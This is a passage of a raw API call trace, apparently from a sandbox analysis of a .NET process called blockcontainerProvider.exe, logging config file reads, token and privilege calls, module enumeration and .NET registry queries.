lpBuffer=0x1bd8c1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\", lpFilePart=0x0) returned 0x30 [0051.273] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x1bd8c880 | out: lpFileInformation=0x1bd8c880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f71f800, ftCreationTime.dwHighDateTime=0x1d4e4ec, ftLastAccessTime.dwLowDateTime=0xb9f350b0, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0x2f71f800, ftLastWriteTime.dwHighDateTime=0x1d4e4ec, nFileSizeHigh=0x0, nFileSizeLow=0x8c8e)) returned 1 [0051.274] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x1bd8c210, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x45 [0051.276] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x1bd8c878 | out: lpFileInformation=0x1bd8c878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f71f800, ftCreationTime.dwHighDateTime=0x1d4e4ec, ftLastAccessTime.dwLowDateTime=0xb9f350b0, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0x2f71f800, ftLastWriteTime.dwHighDateTime=0x1d4e4ec, nFileSizeHigh=0x0, nFileSizeLow=0x8c8e)) returned 1 [0051.280] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x1bd8c200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x45 [0051.281] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bd8c718) returned 1 [0051.282] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\machine.config"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x25c [0051.282] GetFileType (hFile=0x25c) returned 0x1 [0051.282] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bd8c688) returned 1 [0051.282] GetFileType (hFile=0x25c) returned 0x1 [0052.045] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\config\\machine.config", nBufferLength=0x105, lpBuffer=0x1bd8b020, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\config\\machine.config", lpFilePart=0x0) returned 0x45 [0052.047] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\config\\machine.config", nBufferLength=0x105, lpBuffer=0x1bd8b150, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\config\\machine.config", lpFilePart=0x0) returned 0x45 [0052.047] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bd8b368) returned 1 [0052.047] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x1bd8b690 | out: lpFileInformation=0x1bd8b690*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f71f800, ftCreationTime.dwHighDateTime=0x1d4e4ec, ftLastAccessTime.dwLowDateTime=0xb9f350b0, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0x2f71f800, ftLastWriteTime.dwHighDateTime=0x1d4e4ec, nFileSizeHigh=0x0, nFileSizeLow=0x8c8e)) returned 1 [0052.047] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bd8b318) returned 1 [0052.160] BCryptGetFipsAlgorithmMode (in: pfEnabled=0x1bd8b640 | out: pfEnabled=0x1bd8b640) returned 0x0 [0052.191] GetFileSize (in: hFile=0x25c, lpFileSizeHigh=0x1bd8c7b8 | out: lpFileSizeHigh=0x1bd8c7b8*=0x0) returned 0x8c8e [0052.192] ReadFile (in: hFile=0x25c, lpBuffer=0x292a238, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bd8c728, lpOverlapped=0x0 | out: lpBuffer=0x292a238*, lpNumberOfBytesRead=0x1bd8c728*=0x1000, lpOverlapped=0x0) returned 1 [0052.242] ReadFile (in: hFile=0x25c, lpBuffer=0x292a238, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bd8c4f8, lpOverlapped=0x0 | out: lpBuffer=0x292a238*, lpNumberOfBytesRead=0x1bd8c4f8*=0x1000, lpOverlapped=0x0) returned 1 [0052.246] ReadFile (in: hFile=0x25c, lpBuffer=0x292a238, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bd8c2c8, lpOverlapped=0x0 | out: lpBuffer=0x292a238*, lpNumberOfBytesRead=0x1bd8c2c8*=0x1000, lpOverlapped=0x0) returned 1 [0052.247] ReadFile (in: hFile=0x25c, lpBuffer=0x292a238, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bd8c2c8, lpOverlapped=0x0 | out: lpBuffer=0x292a238*, lpNumberOfBytesRead=0x1bd8c2c8*=0x1000, lpOverlapped=0x0) returned 1 [0052.248] ReadFile (in: hFile=0x25c, lpBuffer=0x292a238, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bd8c2c8, lpOverlapped=0x0 | out: lpBuffer=0x292a238*, lpNumberOfBytesRead=0x1bd8c2c8*=0x1000, lpOverlapped=0x0) returned 1 [0052.248] ReadFile (in: hFile=0x25c, lpBuffer=0x292a238, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bd8c168, lpOverlapped=0x0 | out: lpBuffer=0x292a238*, lpNumberOfBytesRead=0x1bd8c168*=0x1000, lpOverlapped=0x0) returned 1 [0052.262] ReadFile (in: hFile=0x25c, lpBuffer=0x292a238, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bd8c3a8, lpOverlapped=0x0 | out: lpBuffer=0x292a238*, lpNumberOfBytesRead=0x1bd8c3a8*=0x1000, lpOverlapped=0x0) returned 1 [0052.264] ReadFile (in: hFile=0x25c, lpBuffer=0x292a238, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bd8c2d8, lpOverlapped=0x0 | out: lpBuffer=0x292a238*, lpNumberOfBytesRead=0x1bd8c2d8*=0x1000, lpOverlapped=0x0) returned 1 [0052.264] ReadFile (in: hFile=0x25c, lpBuffer=0x292a238, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bd8c2d8, lpOverlapped=0x0 | out: lpBuffer=0x292a238*, lpNumberOfBytesRead=0x1bd8c2d8*=0xc8e, lpOverlapped=0x0) returned 1 [0052.264] ReadFile (in: hFile=0x25c, lpBuffer=0x292a238, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bd8c3e8, lpOverlapped=0x0 | out: lpBuffer=0x292a238*, lpNumberOfBytesRead=0x1bd8c3e8*=0x0, lpOverlapped=0x0) returned 1 [0052.264] CloseHandle (hObject=0x25c) returned 1 [0052.265] CloseHandle (hObject=0x258) returned 1 [0052.266] GetCurrentProcess () returned 0xffffffffffffffff [0052.266] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1bd8c998 | out: TokenHandle=0x1bd8c998*=0x258) returned 1 [0052.267] CloseHandle (hObject=0x258) returned 1 [0052.267] GetCurrentProcess () returned 0xffffffffffffffff [0052.267] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1bd8c998 | out: TokenHandle=0x1bd8c998*=0x258) returned 1 [0052.268] CloseHandle (hObject=0x258) returned 1 [0052.276] GetCurrentProcess () returned 0xffffffffffffffff [0052.276] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1bd8c7d8 | out: TokenHandle=0x1bd8c7d8*=0x258) returned 1 [0052.277] GetFileAttributesExW (in: lpFileName="C:\\hyperWinhost\\blockcontainerProvider.exe.config" (normalized: "c:\\hyperwinhost\\blockcontainerprovider.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x1bd8c880 | out: lpFileInformation=0x1bd8c880*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0052.277] GetFullPathNameW (in: lpFileName="C:\\hyperWinhost\\blockcontainerProvider.exe.config", nBufferLength=0x105, lpBuffer=0x1bd8c210, lpFilePart=0x0 | out: lpBuffer="C:\\hyperWinhost\\blockcontainerProvider.exe.config", lpFilePart=0x0) returned 0x31 [0052.278] GetFileAttributesExW (in: lpFileName="C:\\hyperWinhost\\blockcontainerProvider.exe.config" (normalized: "c:\\hyperwinhost\\blockcontainerprovider.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x1bd8c878 | out: lpFileInformation=0x1bd8c878*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0052.279] CloseHandle (hObject=0x258) returned 1 [0052.279] GetCurrentProcess () returned 0xffffffffffffffff [0052.279] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1bd8c998 | out: TokenHandle=0x1bd8c998*=0x258) returned 1 [0052.280] CloseHandle (hObject=0x258) returned 1 [0052.281] GetCurrentProcess () returned 0xffffffffffffffff [0052.281] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1bd8c998 | out: TokenHandle=0x1bd8c998*=0x258) returned 1 [0052.282] CloseHandle (hObject=0x258) returned 1 [0052.305] GetCurrentProcess () returned 0xffffffffffffffff [0052.305] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1bd8c688 | out: TokenHandle=0x1bd8c688*=0x258) returned 1 [0052.337] CloseHandle (hObject=0x258) returned 1 [0052.337] GetCurrentProcess () returned 0xffffffffffffffff [0052.337] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1bd8c6c8 | out: TokenHandle=0x1bd8c6c8*=0x258) returned 1 [0052.339] CloseHandle (hObject=0x258) returned 1 [0052.407] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x1bd8eba8 | out: phkResult=0x1bd8eba8*=0x258) returned 0x0 [0052.409] RegQueryValueExW (in: hKey=0x258, lpValueName="HWRPortReuseOnSocketBind", lpReserved=0x0, lpType=0x1bd8ebe8, lpData=0x0, lpcbData=0x1bd8ebe0*=0x0 | out: lpType=0x1bd8ebe8*=0x0, lpData=0x0, lpcbData=0x1bd8ebe0*=0x0) returned 0x2 [0052.409] RegCloseKey (hKey=0x258) returned 0x0 [0052.415] GetCurrentProcessId () returned 0xe88 [0052.427] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x1bd8dc00 | out: lpLuid=0x1bd8dc00*(LowPart=0x14, HighPart=0)) returned 1 [0052.430] GetCurrentProcess () returned 0xffffffffffffffff [0052.430] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x20, TokenHandle=0x1bd8dbf8 | out: TokenHandle=0x1bd8dbf8*=0x298) returned 1 [0052.431] AdjustTokenPrivileges (in: TokenHandle=0x298, DisableAllPrivileges=0, NewState=0x2950d18*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0052.431] CloseHandle (hObject=0x298) returned 1 [0052.433] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe88) returned 0x298 [0052.446] EnumProcessModules (in: hProcess=0x298, lphModule=0x2950d80, cb=0x200, lpcbNeeded=0x1bd8ebe0 | out: lphModule=0x2950d80, lpcbNeeded=0x1bd8ebe0) returned 1 [0052.449] GetModuleInformation (in: hProcess=0x298, hModule=0x13b0000, lpmodinfo=0x2950ff0, cb=0x18 | out: lpmodinfo=0x2950ff0*(lpBaseOfDll=0x13b0000, SizeOfImage=0xd8000, EntryPoint=0x147f1ee)) returned 1 [0052.451] CoTaskMemAlloc (cb=0x804) returned 0x1186fe0 [0052.452] GetModuleBaseNameW (in: hProcess=0x298, hModule=0x13b0000, lpBaseName=0x1186fe0, nSize=0x800 | out: lpBaseName="blockcontainerProvider.exe") returned 0x1a [0052.454] CoTaskMemFree (pv=0x1186fe0) [0052.454] CoTaskMemAlloc (cb=0x804) returned 0x1186fe0 [0052.454] GetModuleFileNameExW (in: hProcess=0x298, hModule=0x13b0000, lpFilename=0x1186fe0, nSize=0x800 | out: lpFilename="C:\\hyperWinhost\\blockcontainerProvider.exe" (normalized: "c:\\hyperwinhost\\blockcontainerprovider.exe")) returned 0x2a [0052.455] CoTaskMemFree (pv=0x1186fe0) [0052.457] CloseHandle (hObject=0x298) returned 1 [0052.460] GetFullPathNameW (in: lpFileName="C:\\hyperWinhost\\blockcontainerProvider.exe", nBufferLength=0x105, lpBuffer=0x1bd8e700, lpFilePart=0x0 | out: lpBuffer="C:\\hyperWinhost\\blockcontainerProvider.exe", lpFilePart=0x0) returned 0x2a [0052.460] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\System.Net.ServicePointManager.UseHttpPipeliningAndBufferPooling", ulOptions=0x0, samDesired=0x20019, phkResult=0x1bd8ebb8 | out: phkResult=0x1bd8ebb8*=0x0) returned 0x2 [0052.461] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x1bd8ebb8 | out: phkResult=0x1bd8ebb8*=0x298) returned 0x0 [0052.461] RegQueryValueExW (in: hKey=0x298, lpValueName="UseHttpPipeliningAndBufferPooling", lpReserved=0x0, lpType=0x1bd8ebf8, lpData=0x0, lpcbData=0x1bd8ebf0*=0x0 | out: lpType=0x1bd8ebf8*=0x0, lpData=0x0, lpcbData=0x1bd8ebf0*=0x0) returned 0x2 [0052.461] RegCloseKey (hKey=0x298) returned 0x0 [0052.462] GetCurrentProcessId () returned 0xe88 [0052.462] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe88) returned 0x298 [0052.462] EnumProcessModules (in: hProcess=0x298, lphModule=0x2953d28, cb=0x200, lpcbNeeded=0x1bd8ebe0 | out: lphModule=0x2953d28, lpcbNeeded=0x1bd8ebe0) returned 1 [0052.463] GetModuleInformation (in: hProcess=0x298, hModule=0x13b0000, lpmodinfo=0x2953f98, cb=0x18 | out: lpmodinfo=0x2953f98*(lpBaseOfDll=0x13b0000, SizeOfImage=0xd8000, EntryPoint=0x147f1ee)) returned 1 [0052.463] CoTaskMemAlloc (cb=0x804) returned 0x1186fe0 [0052.463] GetModuleBaseNameW (in: hProcess=0x298, hModule=0x13b0000, lpBaseName=0x1186fe0, nSize=0x800 | out: lpBaseName="blockcontainerProvider.exe") returned 0x1a [0052.464] CoTaskMemFree (pv=0x1186fe0) [0052.464] CoTaskMemAlloc (cb=0x804) returned 0x1186fe0 [0052.464] GetModuleFileNameExW (in: hProcess=0x298, hModule=0x13b0000, lpFilename=0x1186fe0, nSize=0x800 | out: lpFilename="C:\\hyperWinhost\\blockcontainerProvider.exe" (normalized: "c:\\hyperwinhost\\blockcontainerprovider.exe")) returned 0x2a [0052.464] CoTaskMemFree (pv=0x1186fe0) [0052.464] CloseHandle (hObject=0x298) returned 1 [0052.465] GetFullPathNameW (in: lpFileName="C:\\hyperWinhost\\blockcontainerProvider.exe", nBufferLength=0x105, lpBuffer=0x1bd8e700, lpFilePart=0x0 | out: lpBuffer="C:\\hyperWinhost\\blockcontainerProvider.exe", lpFilePart=0x0) returned 0x2a [0052.465] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\System.Net.ServicePointManager.UseSafeSynchronousClose", ulOptions=0x0, samDesired=0x20019, phkResult=0x1bd8ebb8 | out: phkResult=0x1bd8ebb8*=0x0) returned 0x2 [0052.465] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x1bd8ebb8 | out: phkResult=0x1bd8ebb8*=0x298) returned 0x0 [0052.465] RegQueryValueExW (in: hKey=0x298, lpValueName="UseSafeSynchronousClose", lpReserved=0x0, lpType=0x1bd8ebf8, lpData=0x0, lpcbData=0x1bd8ebf0*=0x0 | out: lpType=0x1bd8ebf8*=0x0, lpData=0x0, lpcbData=0x1bd8ebf0*=0x0) returned 0x2 [0052.465] RegCloseKey (hKey=0x298) returned 0x0 [0052.466] GetCurrentProcessId () returned 0xe88 [0052.466] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe88) returned 0x298 [0052.466] EnumProcessModules (in: hProcess=0x298, lphModule=0x2956d00, cb=0x200, lpcbNeeded=0x1bd8ebe0 | out: lphModule=0x2956d00, lpcbNeeded=0x1bd8ebe0) returned 1 [0052.467] GetModuleInformation (in: hProcess=0x298, hModule=0x13b0000, lpmodinfo=0x2956f70, cb=0x18 | out: lpmodinfo=0x2956f70*(lpBaseOfDll=0x13b0000, SizeOfImage=0xd8000, EntryPoint=0x147f1ee)) returned 1 [0052.468] CoTaskMemAlloc (cb=0x804) returned 0x1186fe0 [0052.468] GetModuleBaseNameW (in: hProcess=0x298, hModule=0x13b0000, lpBaseName=0x1186fe0, nSize=0x800 | out: lpBaseName="blockcontainerProvider.exe") returned 0x1a [0052.468] CoTaskMemFree (pv=0x1186fe0) [0052.468] CoTaskMemAlloc (cb=0x804) returned 0x1186fe0 [0052.468] GetModuleFileNameExW (in: hProcess=0x298, hModule=0x13b0000, lpFilename=0x1186fe0, nSize=0x800 | out: lpFilename="C:\\hyperWinhost\\blockcontainerProvider.exe" (normalized: "c:\\hyperwinhost\\blockcontainerprovider.exe")) returned 0x2a [0052.468] CoTaskMemFree (pv=0x1186fe0) [0052.468] CloseHandle (hObject=0x298) returned 1 [0052.469] GetFullPathNameW (in: lpFileName="C:\\hyperWinhost\\blockcontainerProvider.exe", nBufferLength=0x105, lpBuffer=0x1bd8e700, lpFilePart=0x0 | out: lpBuffer="C:\\hyperWinhost\\blockcontainerProvider.exe", lpFilePart=0x0) returned 0x2a [0052.469] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\System.Net.ServicePointManager.UseStrictRfcInterimResponseHandling", ulOptions=0x0, samDesired=0x20019, phkResult=0x1bd8ebb8 | out: phkResult=0x1bd8ebb8*=0x0) returned 0x2 [0052.469] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x1bd8ebb8 | out: phkResult=0x1bd8ebb8*=0x298) returned 0x0 [0052.470] RegQueryValueExW (in: hKey=0x298, lpValueName="UseStrictRfcInterimResponseHandling", lpReserved=0x0, lpType=0x1bd8ebf8, lpData=0x0, lpcbData=0x1bd8ebf0*=0x0 | out: lpType=0x1bd8ebf8*=0x0, lpData=0x0, lpcbData=0x1bd8ebf0*=0x0) returned 0x2 [0052.470] RegCloseKey (hKey=0x298) returned 0x0 [0052.470] GetCurrentProcessId () returned 0xe88 [0052.472] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe88) returned 0x298 [0052.472] EnumProcessModules (in: hProcess=0x298, lphModule=0x2959d48, cb=0x200, lpcbNeeded=0x1bd8ebe0 | out: lphModule=0x2959d48, lpcbNeeded=0x1bd8ebe0) returned 1 [0052.473] GetModuleInformation (in: hProcess=0x298, hModule=0x13b0000, lpmodinfo=0x2959fd0, cb=0x18 | out: lpmodinfo=0x2959fd0*(lpBaseOfDll=0x13b0000, SizeOfImage=0xd8000, EntryPoint=0x147f1ee)) returned 1 [0052.473] CoTaskMemAlloc (cb=0x804) returned 0x1186fe0 [0052.473] GetModuleBaseNameW (in: hProcess=0x298, hModule=0x13b0000, lpBaseName=0x1186fe0, nSize=0x800 | out: lpBaseName="blockcontainerProvider.exe") returned 0x1a [0052.473] CoTaskMemFree (pv=0x1186fe0) [0052.473] CoTaskMemAlloc (cb=0x804) returned 0x1186fe0 [0052.473] GetModuleFileNameExW (in: hProcess=0x298, hModule=0x13b0000, lpFilename=0x1186fe0, nSize=0x800 | out: lpFilename="C:\\hyperWinhost\\blockcontainerProvider.exe" (normalized: "c:\\hyperwinhost\\blockcontainerprovider.exe")) returned 0x2a [0052.474] CoTaskMemFree (pv=0x1186fe0) [0052.474] CloseHandle (hObject=0x298) returned 1 [0052.474] GetFullPathNameW (in: lpFileName="C:\\hyperWinhost\\blockcontainerProvider.exe", nBufferLength=0x105, lpBuffer=0x1bd8e700, lpFilePart=0x0 | out: lpBuffer="C:\\hyperWinhost\\blockcontainerProvider.exe", lpFilePart=0x0) returned 0x2a [0052.474] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\System.Uri.AllowDangerousUnicodeDecompositions", ulOptions=0x0, samDesired=0x20019, phkResult=0x1bd8ebb8 | out: phkResult=0x1bd8ebb8*=0x0) returned 0x2 [0052.475] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x1bd8ebb8 | out: phkResult=0x1bd8ebb8*=0x298) returned 0x0 [0052.475] RegQueryValueExW (in: hKey=0x298, lpValueName="AllowDangerousUnicodeDecompositions", lpReserved=0x0, lpType=0x1bd8ebf8, lpData=0x0, lpcbData=0x1bd8ebf0*=0x0 | out: lpType=0x1bd8ebf8*=0x0, lpData=0x0, lpcbData=0x1bd8ebf0*=0x0) returned 0x2 [0052.475] RegCloseKey (hKey=0x298) returned 0x0 [0052.476] GetCurrentProcessId () returned 0xe88 [0052.476] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe88) returned 0x298 [0052.476] EnumProcessModules (in: hProcess=0x298, lphModule=0x295cb60, cb=0x200, lpcbNeeded=0x1bd8ebe0 | out: lphModule=0x295cb60, lpcbNeeded=0x1bd8ebe0) returned 1 [0052.477] GetModuleInformation (in: hProcess=0x298, hModule=0x13b0000, lpmodinfo=0x295cdd0, cb=0x18 | out: lpmodinfo=0x295cdd0*(lpBaseOfDll=0x13b0000, SizeOfImage=0xd8000, EntryPoint=0x147f1ee)) returned 1 [0052.477] CoTaskMemAlloc (cb=0x804) returned 0x1186fe0 [0052.477] GetModuleBaseNameW (in: hProcess=0x298, hModule=0x13b0000, lpBaseName=0x1186fe0, nSize=0x800 | out: lpBaseName="blockcontainerProvider.exe") returned 0x1a [0052.477] CoTaskMemFree (pv=0x1186fe0) [0052.478] CoTaskMemAlloc (cb=0x804) returned 0x1186fe0 [0052.478] GetModuleFileNameExW (in: hProcess=0x298, hModule=0x13b0000, lpFilename=0x1186fe0, nSize=0x800 | out: lpFilename="C:\\hyperWinhost\\blockcontainerProvider.exe" (normalized: "c:\\hyperwinhost\\blockcontainerprovider.exe")) returned 0x2a [0052.478] CoTaskMemFree (pv=0x1186fe0) [0052.478] CloseHandle (hObject=0x298) returned 1 [0052.478] GetFullPathNameW (in: lpFileName="C:\\hyperWinhost\\blockcontainerProvider.exe", nBufferLength=0x105, lpBuffer=0x1bd8e700, lpFilePart=0x0 | out: lpBuffer="C:\\hyperWinhost\\blockcontainerProvider.exe", lpFilePart=0x0) returned 0x2a [0052.479] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\System.Uri.UseStrictIPv6AddressParsing", ulOptions=0x0, samDesired=0x20019, phkResult=0x1bd8ebb8 | out: phkResult=0x1bd8ebb8*=0x0) returned 0x2 [0052.479] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x1bd8ebb8 | out: phkResult=0x1bd8ebb8*=0x298) returned 0x0 [0052.479] RegQueryValueExW (in: hKey=0x298, lpValueName="UseStrictIPv6AddressParsing", lpReserved=0x0, lpType=0x1bd8ebf8, lpData=0x0, lpcbData=0x1bd8ebf0*=0x0 | out: lpType=0x1bd8ebf8*=0x0, lpData=0x0, lpcbData=0x1bd8ebf0*=0x0) returned 0x2 [0052.479] RegCloseKey (hKey=0x298) returned 0x0 [0052.480] GetCurrentProcessId () returned 0xe88 [0052.480] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe88) returned 0x298 [0052.480] EnumProcessModules (in: hProcess=0x298, lphModule=0x295f948, cb=0x200, lpcbNeeded=0x1bd8ebe0 | out: lphModule=0x295f948, lpcbNeeded=0x1bd8ebe0) returned 1 [0052.481] GetModuleInformation (in: hProcess=0x298, hModule=0x13b0000, lpmodinfo=0x295fbb8, cb=0x18 | out: lpmodinfo=0x295fbb8*(lpBaseOfDll=0x13b0000, SizeOfImage=0xd8000, EntryPoint=0x147f1ee)) returned 1 [0052.482] CoTaskMemAlloc (cb=0x804) returned 0x1186fe0 [0052.482] GetModuleBaseNameW (in: hProcess=0x298, hModule=0x13b0000, lpBaseName=0x1186fe0, nSize=0x800 | out: lpBaseName="blockcontainerProvider.exe") returned 0x1a [0052.482] CoTaskMemFree (pv=0x1186fe0) [0052.482] CoTaskMemAlloc (cb=0x804) returned 0x1186fe0 [0052.482] GetModuleFileNameExW (in: hProcess=0x298, hModule=0x13b0000, lpFilename=0x1186fe0, nSize=0x800 | out: lpFilename="C:\\hyperWinhost\\blockcontainerProvider.exe" (normalized: "c:\\hyperwinhost\\blockcontainerprovider.exe")) returned 0x2a [0052.482] CoTaskMemFree (pv=0x1186fe0) [0052.482] CloseHandle (hObject=0x298) returned 1 [0052.483] GetFullPathNameW (in: lpFileName="C:\\hyperWinhost\\blockcontainerProvider.exe", nBufferLength=0x105, lpBuffer=0x1bd8e700, lpFilePart=0x0 | out: lpBuffer="C:\\hyperWinhost\\blockcontainerProvider.exe", lpFilePart=0x0) returned 0x2a [0052.484] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\System.Uri.AllowAllUriEncodingExpansion", ulOptions=0x0, samDesired=0x20019, phkResult=0x1bd8ebb8 | out: phkResult=0x1bd8ebb8*=0x0) returned 0x2 [0052.484] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x1bd8ebb8 | out: phkResult=0x1bd8ebb8*=0x298) returned 0x0 [0052.484] RegQueryValueExW (in: hKey=0x298, lpValueName="AllowAllUriEncodingExpansion", lpReserved=0x0, lpType=0x1bd8ebf8, lpData=0x0, lpcbData=0x1bd8ebf0*=0x0 | out: lpType=0x1bd8ebf8*=0x0, lpData=0x0, lpcbData=0x1bd8ebf0*=0x0) returned 0x2 [0052.484] RegCloseKey (hKey=0x298) returned 0x0 [0052.485] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x1bd8eba8 | out: phkResult=0x1bd8eba8*=0x298) returned 0x0 [0052.485] RegQueryValueExW (in: hKey=0x298, lpValueName="SchUseStrongCrypto", lpReserved=0x0, lpType=0x1bd8ebe8, lpData=0x0, lpcbData=0x1bd8ebe0*=0x0 | out: lpType=0x1bd8ebe8*=0x0, 